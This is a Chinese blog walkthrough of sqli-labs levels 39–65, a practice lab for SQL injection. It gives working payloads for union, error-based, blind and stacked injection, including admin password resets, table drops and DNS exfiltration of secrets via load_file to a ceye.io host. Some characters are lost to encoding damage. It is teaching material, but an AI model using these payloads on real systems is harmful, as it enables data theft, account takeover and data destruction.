接上篇文章https://plumstar.cn/2022/06/27/sqli-labs-1-38/

39-44

less39�?

�?38一样,只不过是整数型,不需要引号闭�?

?id=100 union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+

less40�?

换汤不换药,改个闭合

?id=100') union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+

**less41�?**�?39 看着源代码都是一摸一样的

?id=100 union select 1,2,group_concat(flag) from flag;insert into users values(18,'p1','p1') --+

**less42�?**一个登录口,username进行了过滤,passwd没过滤,在passwd处写payload

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
···
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

先去试试之前用过的任意改密码,发现行不通;然后去尝试万能密码,直接login_user=admin&login_password=1' or 1=1,登录成功,然后去掉1=1尝试,login_user=admin&login_password=1',出现报错信息,直接报错注入

login_user=admin&login_password=1' or updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),1)#&mysubmit=Login

当然用堆叠也可以,直接在登录界面把admin的密码改了就�?

login_user=admin&login_password=1';update security.users set password='666'where id=1#&mysubmit=Login

**less43�?**一样的套路,password处闭合改一�?

login_user=admin&login_password=1') or updatexml(1,concat(0x7e,(select group_concat(flag) from flag)),1)#&mysubmit=Login

**less44�?**无报错提示,所以不能用报错注入了,就直接查询或者堆叠都可以,先需要去判断回显�?

login_user=admin&login_password=1' union select 1,2,3#&mysubmit=Login回显点在2处,直接写payload

login_user=admin&login_password=1' union select 1,(select group_concat(flag) from flag),3#&mysubmit=Login

45-50

**less45�?**同上,改一下闭�?

login_user=admin&login_password=1') union select 1,(select group_concat(flag) from flag),3#&mysubmit=Login

**less46�?**这一关参数变了,并且SQL语句也变了一下,那么传参就改一�?

$id=$_GET['sort'];
···
$sql = "SELECT * FROM users ORDER BY $id";

简单试了一下有报错提示,直接报错注入完�?

?sort=1 and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)#

**less47�?**改个闭合,其他同�?(这一关闭合#改成url编码%23,要不然会失�?)

?sort=1' and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23

**less48�?**报错信息删了,然后查询注入也没法用,查询也只有你输入1-14时才会有回显,直接时间盲注,脚本参考前一篇文章第9关,把脚本中的payload改了就行

?sort=1 and if(substr(database(),1,1)='s',sleep(3),1) --+

**less49�?**�?48,闭合改成单引号

?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

**less50�?**可堆叠可报错可能可以查询,大家自己看着办,其实这一关的目的在于用了mysqli_multi_query可以堆叠注入

?sort=1 and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23

51-53

**less51�?**也是一样的mysqli_multi_query函数,改了闭�?

?sort=1' and updatexml(0,concat(0x7e,(select group_concat(flag) from flag)),0)%23

**less52�?**无报错信息,其他跟前一关一样,盲注或者堆叠即可,整数�?

1;create table test like users;%23

1;drop table test;%23

**less53�?**�?52,整形,改一下闭�?

1;create table test like users;%23

1;drop table test;%23

54-65

这几关跟前面的有一点略微区别,会限制你输入的语句次数,如果次数超过就需要重置,并且数据库也是随机生�?(但是数据库名字已经给我们�?*CHALLENGES*),这就需要去谨慎尝试生SQL语句,在为数不多的次数中注入出我们需要的信息

**less54�?**源码没有啥需要看的,限制次数为十次,需要去注入出密钥,核心SQL语句为,闭合方式为单引号闭合

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

先判断字段数以及显示位置

?id=1' order by 4 %23
?id=1' order by 3 %23
?id=-1' union select 1,2,3 %23

查询数据库中存在的名字:?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) %23

然后找这个challenges,获取你自己生成的一串key:?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges') %23

获取这个表中存在的字段,注意table_name都是不一样的,这里就不贴图了:?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='qj9fr7qqxi') %23

获取这个表中的key即可?id=-1' union select 1,2,(select group_concat(secret_75HS) from challenges.qj9fr7qqxi) %23

**less55�?**同上,闭合改成)闭合

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

**less56�?**�?54,闭合改为')

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

**less57�?**闭合改成",其他同�?

$id= '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

**less58�?**58-61给的是五次机会,那指定不是查询了,看了眼源码发现会显示报错信息,那么就可以开始报错注入啦

查询库,因为这个表会新建在第一个,所以报错字数限制对我们没影�?
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23

查询challenges中存在的�?

?id=-1' and updatexml(0,concat(0x7e,(select  group_concat(table_name) from information_schema.tables where  table_schema='challenges')),0) %23

查询这个表中存在的字段以及字段内�?

#查询存在的字段,同样table_name换成你查询出来的
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='tk1m7dvdbl')),0) %23

#查询需要获取的key
?id=-1' and updatexml(0,concat(0x7e,(select group_concat(secret_B1TL) from challenges.tk1m7dvdbl)),0)%23

**less59�?**闭合改成整形,例如:?id=-1 and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";//源码中sql查询语句

**less60�?**闭合改成")

$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

**less61�?**闭合改成')),例如?id=-1')) and updatexml(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),0) %23

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

**less62�?**62-65给的�?130次的上限,并且无回显无报错,那么就只有拿时间来进行盲注,不过dnslog也可以,这里我就懒的改脚本了,直接dns,这一关的闭合是')

老规矩先查数据库名字,查出来叫challenges
?id=1') and load_file(concat('\\\\',(select database()),'.sg4avy.ceye.io\\abc'))--+

然后查表名,这里因为只有一张表,就不需要加limit限制了,如果多于一张表,dnslog注入会失败,dns处不会受到信�?

?id=1') and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database()),'.sg4avy.ceye.io\\abc'))--+

表名查出来之后就是一系列跟进查询

dnslog查询一次只能查一个字段,所以在后面加上 limit 0,1限制查询,表示查第一个第一行第一个,limit 1,1表示查第一行第二个,以此类推,全查出来

#查表中存在的字段,还是一样table_name换成你之前查出来的,比如我这里是b56larhmp4,你也可以去数据库验证一下查的对不对
?id=1')  and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='b56larhmp4' limit 2,1),'.sg4avy.ceye.io\\abc'))--+

那么查询出来我们需要找到的字段,就构造最后的payload即可,查询这个字段的内容

?id=1') and load_file(concat('\\\\',(select secret_WOQ4 from b56larhmp4 limit 0,1),'.sg4avy.ceye.io\\abc'))--+

**less63�?**闭合改一下,改成单引号闭合,其他�?62

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

**less64�?**闭合改成)),其他同62

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

**less65�?**闭合改成单括号,其他�?62

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

那么到这里sqli-labs全部关卡就已经做完了,如果对文章内容有疑问请在此页面评论